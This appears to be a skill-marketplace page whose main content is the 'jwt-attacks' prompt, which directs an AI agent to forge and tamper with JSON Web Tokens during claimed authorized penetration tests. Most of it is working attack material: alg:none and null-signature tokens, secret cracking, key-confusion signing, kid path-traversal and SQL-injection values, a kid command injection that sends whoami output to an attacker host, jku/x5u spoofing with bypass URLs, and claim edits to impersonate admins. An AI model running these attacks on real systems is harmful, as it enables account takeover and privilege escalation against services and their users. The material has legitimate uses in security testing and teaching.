一键导入
jwt-attacks
Exploit JWT (JSON Web Token) vulnerabilities during authorized penetration testing.
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
菜单
Exploit JWT (JSON Web Token) vulnerabilities during authorized penetration testing.
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
Multi-phase penetration test orchestrator. Handles recon, assessment surface mapping, vulnerability chaining, and routes to technique skills for execution. Invoke via /red-run-ctf slash command only.
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted Kerberoasting via SPN manipulation, shadow credentials (msDS-KeyCredentialLink → PKINIT), and AdminSDHolder persistence.
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies), Golden Certificate (forge with stolen CA key), certificate theft (DPAPI/CAPI/CNG), and account persistence via certificate mapping.
Forces remote systems to authenticate back to attacker-controlled listeners and relays captured authentication to escalate privileges or move laterally. Covers authentication coercion (PetitPotam, PrinterBug, DFSCoerce, ShadowCoerce, CheeseOunce), NTLM relay (ntlmrelayx to LDAP/SMB/AD CS/MSSQL), Kerberos relay (krbrelayx, mitm6), and name resolution poisoning (LLMNR/NBNS/WPAD via Responder).
Extracts and cracks Kerberos service tickets (Kerberoasting) and AS-REP hashes (AS-REP Roasting) for offline password recovery.
Enumerates and exploits Microsoft SCCM/MECM (System Center Configuration Manager / Microsoft Endpoint Configuration Manager) infrastructure for credential harvesting, lateral movement, and domain escalation. Covers SCCM enumeration (sccmhunter, SharpSCCM), Network Access Account (NAA) credential extraction (policy request, WMI DPAPI, WMI repository), management point NTLM relay to MSSQL (TAKEOVER1), client push relay (ELEVATE2), PXE boot media credential harvesting (CRED1), SCCM database credential extraction, application deployment for lateral movement, and SCCM share looting.
| name | jwt-attacks |
| description | Exploit JWT (JSON Web Token) vulnerabilities during authorized penetration testing. |
| keywords | ["JWT attack","JWT bypass","forge JWT","alg none","algorithm confusion","RS256 to HS256","kid injection","jwk injection","jku spoofing","crack JWT secret","brute force JWT","JWT key confusion","weak JWT secret","json web token exploit","JWT header injection","ViewState JWT","jwt_tool","JWT privilege escalation","JWT claim tampering"] |
| tools | ["jwt_tool","burpsuite (JWT Editor extension)","openssl"] |
| opsec | low |
You are helping a penetration tester exploit JWT (JSON Web Token) vulnerabilities. The target application uses JWTs for authentication or authorization, and weaknesses in signature verification, algorithm handling, or key management allow token forgery or privilege escalation. All testing is under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[jwt-attacks] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
jwt_tool (pip install jwt-tool or clone
https://github.com/ticarpi/jwt_tool), hashcat (mode 16500), Burp Suite
with JWT Editor extensionopenssl for key extraction, jws2pubkey for RSA key recoveryIf not already provided, determine:
| Location | Header/Field |
|---|---|
| Authorization header | Authorization: Bearer eyJ... |
| Cookies | token=eyJ..., session=eyJ..., jwt=eyJ... |
| URL parameters | ?token=eyJ... |
| POST body | {"token":"eyJ..."} |
| Hidden form fields | <input name="token" value="eyJ..."> |
header.payload.signature# Quick decode (jwt_tool)
python3 jwt_tool.py eyJ0eXAi...
# Manual decode
echo -n 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9' | base64 -d 2>/dev/null
# {"alg":"HS256","typ":"JWT"}
| Algorithm | Type | Attacks |
|---|---|---|
| HS256/384/512 | Symmetric (HMAC) | Brute force, alg:none, null sig |
| RS256/384/512 | Asymmetric (RSA) | Key confusion, header injection, alg:none |
| ES256/384/512 | Asymmetric (ECDSA) | Nonce reuse, header injection, alg:none |
| PS256/384/512 | Asymmetric (RSA-PSS) | Header injection, alg:none |
# Common JWKS endpoints
curl -s https://TARGET/.well-known/jwks.json
curl -s https://TARGET/jwks.json
curl -s https://TARGET/openid/connect/jwks.json
curl -s https://TARGET/api/keys
curl -s https://TARGET/oauth2/v1/certs
# Extract from TLS certificate
openssl s_client -connect TARGET:443 2>&1 < /dev/null | \
sed -n '/-----BEGIN/,/-----END/p' > cert.pem
openssl x509 -pubkey -in cert.pem -noout > pubkey.pem
| Claim | Significance |
|---|---|
sub | User identifier — change to impersonate |
role / admin | Authorization — escalate privileges |
exp | Expiration — extend or remove |
iss | Issuer — cross-service relay |
kid | Key ID — injection target (Step 6) |
jku / x5u | Key URL — SSRF / spoofing target (Step 6) |
Skip if context was already provided.
The simplest attack. If the server accepts alg: "none", forge any token
without a signature.
# jwt_tool — automatic none attack
python3 jwt_tool.py eyJ0eXAi... -X a
Manual construction — set algorithm to none, empty signature:
# Header: {"alg":"none","typ":"JWT"}
# Payload: (modified claims)
# Signature: (empty — token ends with trailing dot)
echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '='
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
echo -n '{"sub":"admin","role":"admin","iat":1516239022}' | base64 -w0 | tr '+/' '-_' | tr -d '='
# Combine: header.payload.
# Note trailing dot (empty signature)
Algorithm case variants (bypass naive validation):
| Variant | Header Value |
|---|---|
| Standard | "alg":"none" |
| Capitalized | "alg":"None" |
| Uppercase | "alg":"NONE" |
| Mixed | "alg":"nOnE" |
If accepted → Critical finding. Forge admin token with desired claims.
Keep the algorithm header but strip the signature. Some implementations check the algorithm but skip signature verification.
# jwt_tool — null signature attack
python3 jwt_tool.py eyJ0eXAi... -X n
Manual: Take a valid JWT, modify payload claims, replace signature with empty string (keep the trailing dot).
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.
If the token uses HMAC (HS256/384/512), the signing secret may be weak.
# Save the full JWT to a file for the credential-recovery skill
echo -n 'eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIn0.signature' > engagement/evidence/jwt-hash.txt
Do NOT crack hashes in this skill. Save the JWT to engagement/evidence/
and return to the orchestrator with the hash file path, hash type (JWT / hashcat
mode 16500 for HS256, 16600 for HS384, 16700 for HS512), and a routing
recommendation to credential-recovery.
python3 jwt_tool.py eyJ0eXAi... -C -d /usr/share/wordlists/rockyou.txt
Check against the jwt-secrets wordlist (3500+ entries):
secret
password
123456
your_jwt_secret
change_this_super_secret_random_string
key
test
admin
qwerty
If cracked → forge tokens with known secret:
# Forge with jwt_tool
python3 jwt_tool.py eyJ0eXAi... -T -S hs256 -p "cracked_secret"
# Interactive: modify claims, then sign
# Forge with Python
python3 -c "
import jwt
token = jwt.encode({'sub':'admin','role':'admin'}, 'cracked_secret', algorithm='HS256')
print(token)
"
When the server uses RS256 (asymmetric), change the algorithm to HS256 (symmetric). The server may use the public key as the HMAC secret.
Requires: The RSA public key (from JWKS endpoint, TLS cert, or recovery).
python3 jwt_tool.py eyJ0eXAi... -X k -pk pubkey.pem
# 1. Get public key hex
cat pubkey.pem | xxd -p | tr -d '\n'
# 2. Create header + payload
# Header: {"alg":"HS256","typ":"JWT"}
# Payload: (modified claims)
# 3. Sign with public key as HMAC secret
echo -n "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiJ9" | \
openssl dgst -sha256 -mac HMAC -macopt hexkey:$(cat pubkey.pem | xxd -p | tr -d '\n')
# 4. Convert hex signature to Base64URL
python3 -c "
import base64, binascii
sig_hex = 'HEX_OUTPUT_HERE'
print(base64.urlsafe_b64encode(binascii.a2b_hex(sig_hex)).rstrip(b'=').decode())
"
/.well-known/jwks.jsonk value with Base64-encoded PEMalg to HS256, modify payload claimsIf no JWKS endpoint exists, recover the public key from two signed tokens:
# Requires two different JWTs signed with the same RSA key
docker run -it ttervoort/jws2pubkey "$(cat jwt1.txt)" "$(cat jwt2.txt)" | tee pubkey.jwk
The kid header selects which key verifies the token. If it's used in file
paths or database queries, it's injectable.
Path traversal — sign with known file content:
# /dev/null = empty content → sign with empty string
python3 jwt_tool.py eyJ0eXAi... -I -hc kid -hv "../../dev/null" -S hs256 -p ""
# /proc/sys/kernel/randomize_va_space = "2" → sign with "2"
python3 jwt_tool.py eyJ0eXAi... -I -hc kid -hv "/proc/sys/kernel/randomize_va_space" -S hs256 -p "2"
SQL injection — force a known secret:
{
"alg": "HS256",
"typ": "JWT",
"kid": "key1' UNION SELECT 'ATTACKER_SECRET' -- -"
}
Then sign the token with ATTACKER_SECRET as the HMAC key.
python3 jwt_tool.py eyJ0eXAi... -I -hc kid -hv "' UNION SELECT 'ATTACKER' -- -" -S hs256 -p "ATTACKER"
Command injection (if kid is used in shell commands):
{
"kid": "/path/to/key; curl http://ATTACKER/$(whoami)"
}
Embed an attacker-controlled public key directly in the JWT header. The server uses it to verify the token you signed with your private key.
# jwt_tool — automatic JWK injection
python3 jwt_tool.py eyJ0eXAi... -X i
Burp JWT Editor: Edit JWT → Attack → Embedded JWK
Manual: Generate RSA keypair, sign token with private key, embed public
key as jwk in header:
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"kid": "attacker-key",
"use": "sig",
"e": "AQAB",
"n": "<attacker-public-key-modulus>"
}
}
Point the jku header to an attacker-controlled JWKS endpoint. The server
fetches your public key and uses it to verify the token.
# jwt_tool — automatic jku spoofing
python3 jwt_tool.py eyJ0eXAi... -X s -ju https://ATTACKER/jwks.json
Setup attacker JWKS:
# Generate keypair
openssl genrsa -out attacker.pem 2048
openssl rsa -in attacker.pem -pubout -out attacker_pub.pem
# Extract n and e for JWKS
python3 -c "
from Crypto.PublicKey import RSA
import base64
key = RSA.import_key(open('attacker_pub.pem').read())
n = base64.urlsafe_b64encode(key.n.to_bytes((key.n.bit_length()+7)//8, 'big')).rstrip(b'=').decode()
e = base64.urlsafe_b64encode(key.e.to_bytes((key.e.bit_length()+7)//8, 'big')).rstrip(b'=').decode()
print(f'{{\"keys\":[{{\"kty\":\"RSA\",\"kid\":\"attacker\",\"use\":\"sig\",\"n\":\"{n}\",\"e\":\"{e}\"}}]}}')
" > jwks.json
# Host JWKS (serve on attacker machine)
python3 -m http.server 8080
Forged JWT header:
{
"alg": "RS256",
"typ": "JWT",
"kid": "attacker",
"jku": "https://ATTACKER:8080/jwks.json"
}
jku URL restrictions bypass (if server validates domain):
https://TARGET/.well-known/jwks.json@ATTACKER/jwks.jsonhttps://TARGET#@ATTACKER/jwks.jsonhttps://ATTACKER/jwks.json?TARGEThttps://TARGET/redirect?url=https://ATTACKER/jwks.jsonhttps://TARGET/.well-known/jwks.json#ATTACKERx5u — point to attacker-controlled X.509 certificate:
# Generate self-signed cert
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
# Host cert, set x5u header to https://ATTACKER/attacker.crt
# Sign token with attacker.key
x5c — embed attacker certificate chain directly in the header:
# Base64-encode certificate (without PEM headers)
cat attacker.crt | grep -v '^-----' | tr -d '\n'
# Embed in x5c array in JWT header
After finding a signing bypass (Steps 2-6), modify claims for privilege escalation.
// User → Admin
{"sub":"1234","role":"user"} → {"sub":"1234","role":"admin"}
// Add admin flag
{"sub":"user1"} → {"sub":"user1","admin":true}
// Impersonate another user
{"sub":"lowpriv-user"} → {"sub":"admin-user-id"}
// Change email / username
{"email":"attacker@evil.com"} → {"email":"admin@target.com"}
// Remove exp claim entirely
{"sub":"user","exp":1516239022} → {"sub":"user"}
// Extend to far future
{"sub":"user","exp":1516239022} → {"sub":"user","exp":9999999999}
If multiple services trust the same JWT issuer:
STOP and return to the orchestrator with:
-M at mode sends many requests — rate limit or use targeted
attacksNone, NONE, nOnEheader.payload.none but accept null or empty string for algkid matches token kid)-----BEGIN PUBLIC KEY-----)If jwt_tool dictionary check fails and you need GPU-accelerated cracking, route to credential-recovery with the JWT hash file and hashcat mode 16500 (HS256), 16600 (HS384), or 16700 (HS512).
pip install pycryptodomex requests termcolor-pk with a PEM file (not JWK)-V for verbose output to see what jwt_tool is sending